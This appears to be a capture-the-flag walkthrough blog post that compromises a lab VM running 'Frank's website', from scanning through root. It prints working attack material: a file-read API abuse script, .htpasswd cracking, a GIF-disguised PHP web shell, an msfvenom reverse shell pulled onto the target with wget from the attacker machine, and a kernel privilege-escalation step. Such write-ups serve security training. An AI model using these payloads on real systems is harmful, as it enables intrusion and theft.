Frank has a small website, and he is a smart developer with a normal security background; he always loves to follow patterns. Your goal is to discover any critical vulnerabilities and gain access to the system. Ultimately, you need to gain root access to capture the root flag.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.20.130 ... PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 2.3.5 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.20.128 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 2.3.5 - secure, fast, stable |_End of status 22/tcp open ssh syn-ack ttl 64 OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA) | 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA) |_ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA) 80/tcp open http syn-ack ttl 64 Apache httpd 2.2.22 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS GET HEAD |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: FRANK's Website | Under development 8011/tcp open http syn-ack ttl 64 Apache httpd 2.2.22 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS GET HEAD |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). MAC Address: 00:50:56:3E:59:38 (VMware)
8011/tcp open. Since FTP allows anonymous login, let’s check that first.
Hmm. Nothing interesting to explore.
OK. Frank’s website is up next.
I must say the design looks good. Clean and simple.
Now, let’s use
dirb to bust some directories.
80/tcp goes first.
# dirb http://192.168.20.130 /usr/share/dirb/wordlists/big.txt -N 404 -r ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Sep 2 08:12:01 2018 URL_BASE: http://192.168.20.130/ WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt OPTION: Ignoring NOT_FOUND code -> 404 OPTION: Not Recursive ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://192.168.20.130/ ---- + http://192.168.20.130/LICENSE (CODE:200|SIZE:1093) + http://192.168.20.130/cgi-bin/ (CODE:403|SIZE:290) ==> DIRECTORY: http://192.168.20.130/css/ + http://192.168.20.130/development (CODE:401|SIZE:481) ==> DIRECTORY: http://192.168.20.130/img/ + http://192.168.20.130/index (CODE:200|SIZE:334) ==> DIRECTORY: http://192.168.20.130/js/ + http://192.168.20.130/robots (CODE:200|SIZE:21) + http://192.168.20.130/robots.txt (CODE:200|SIZE:21) + http://192.168.20.130/server-status (CODE:403|SIZE:295) ==> DIRECTORY: http://192.168.20.130/vendor/ ----------------- END_TIME: Sun Sep 2 08:12:10 2018 DOWNLOADED: 20458 - FOUND: 7
/development/ needs credential.
8011/tcp is next.
# dirb http://192.168.20.130:8011 /usr/share/dirb/wordlists/big.txt -N 404 -r ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Sep 2 08:12:26 2018 URL_BASE: http://192.168.20.130:8011/ WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt OPTION: Ignoring NOT_FOUND code -> 404 OPTION: Not Recursive ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://192.168.20.130:8011/ ---- ==> DIRECTORY: http://192.168.20.130:8011/api/ + http://192.168.20.130:8011/server-status (CODE:403|SIZE:297) ----------------- END_TIME: Sun Sep 2 08:12:34 2018 DOWNLOADED: 20458 - FOUND: 1
/api/ has some interesting information.
I found out that
/api/files_api.php is able to read files through
POST requests. To that end, I wrote a script to
cat files which I have read permissions.
#!/bin/bash HOST=192.168.20.130 API=api/files_api.php PORT=8011 FILE=$1 curl -s -d "file=$FILE" "http://$HOST:$PORT/$API" \ | sed -e '6,$!d' -e '$d'
Not bad. There’s a
frank account and
www-data’s home directory is at
Now, let’s read
.htpasswd is at somewhere else. Let’s read that as well.
I’m going to save
.htpasswd and send it to John the Ripper for offline cracking.
Time to access
/development/ and see what we got there.
No surprise, the “uploader tool” is at
Here’s what I observed about the “uploader tool”:
- Checks image file extension for JPG, JPEG, PNG, and GIF.
- Checks the associated image MIME type
I crafted the following file to bypass the checks and to upload.
# cat cmd.php.gif GIF89a; <?php echo shell_exec($_GET['cmd']); ?>
OK. I manage to upload the file. But where’s the upload path?
I’ve tried the following paths with no success:
Then I had an epiphany. What if the word ‘my’ refers to Frank? I tried all the permutations of “Frank” until I hit the one seen here.
Sneaky bastard, this Frank.
This is where I hit another road block. Somehow, the web server is refusing to load PHP at
No luck even with
# curl -u 'frank:frank!!!' http://192.168.20.130/development/uploader/FRANKuploads/cmd.php.gif?cmd=id GIF89a; <?php echo shell_exec($_GET['cmd']); ?>
Wait a minute. Back up. When’s the last time I saw PHP loaded? At
Perhaps I can re-purpose
cat.sh to something like this.
#!/bin/bash HOST=192.168.20.130 API=api/files_api.php PORT=8011 FILE=/var/www/development/uploader/FRANKuploads/cmd.php.gif CMD=$(echo -n "$1" \ | xxd -p \ | tr -d '\n' \ | sed -r 's/(..)/%\1/g') curl -s -d "file=$FILE" "http://$HOST:$PORT/$API/?cmd=$CMD" \ | sed -e '6,$!d' -e '$d' \ | sed 1d
Let’s give it a shot.
# ./cmd.sh id uid=33(www-data) gid=33(www-data) groups=33(www-data)
# ./cmd.sh "uname -a" Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
# ./cmd.sh "lsb_release -a" Distributor ID: Ubuntu Description: Ubuntu maverick (development branch) Release: 10.10 Codename: maverick
Too bad the VM has the traditional
nc or BSD
nc. Otherwise, we could have gotten a reverse shell with
nc. Nonetheless, we can transfer a reverse shell over since
wget is available.
On the attacking machine, generate a reverse shell with
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.20.128 LPORT=1234 -f elf -o rev [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes Saved as: rev
Next, host the reverse shell with Python’s SimpleHTTPServer module.
# python -m SimpleHTTPServer 80
cmd.sh, run this command.
# ./cmd.sh "wget -O /tmp/rev 192.168.20.128/rev"
The transfer is successful. Next, make
# ./cmd.sh "chmod +x /tmp/rev" # ./cmd.sh "ls -l /tmp/rev" -rwxr-xr-x 1 www-data www-data 194 Sep 2 10:06 /tmp/rev
Lastly, before we run the reverse shell, we need to set up our
nc listener to catch it on the attacking machine.
# ./cmd.sh /tmp/rev
Before I forget, here’s the
user flag at
If you have noticed the kernel version, you realized how old the kernel is. What does that mean for us? Local privilege escalation exploit! Let’s use
searchsploit to find a relevant exploit.
I’ve chosen the ‘RDS Protocol’ local privilege escalation exploit. It’s relevant to the kernel and seems independent of the distribution. More importantly, it’s a simple and easy-to-understand exploit.
Now, how do I transfer the exploit source code over? Through
wget and Python’s SimpleHTTPServer module of course. I’m also fortunate enough to have
gcc available in the VM.
Let’s do this \o/
What a bummer!
Nothing is going to stop me
root at last!
root flag is one command away.
In the immortal words of Offensive Security, “Try Harder”.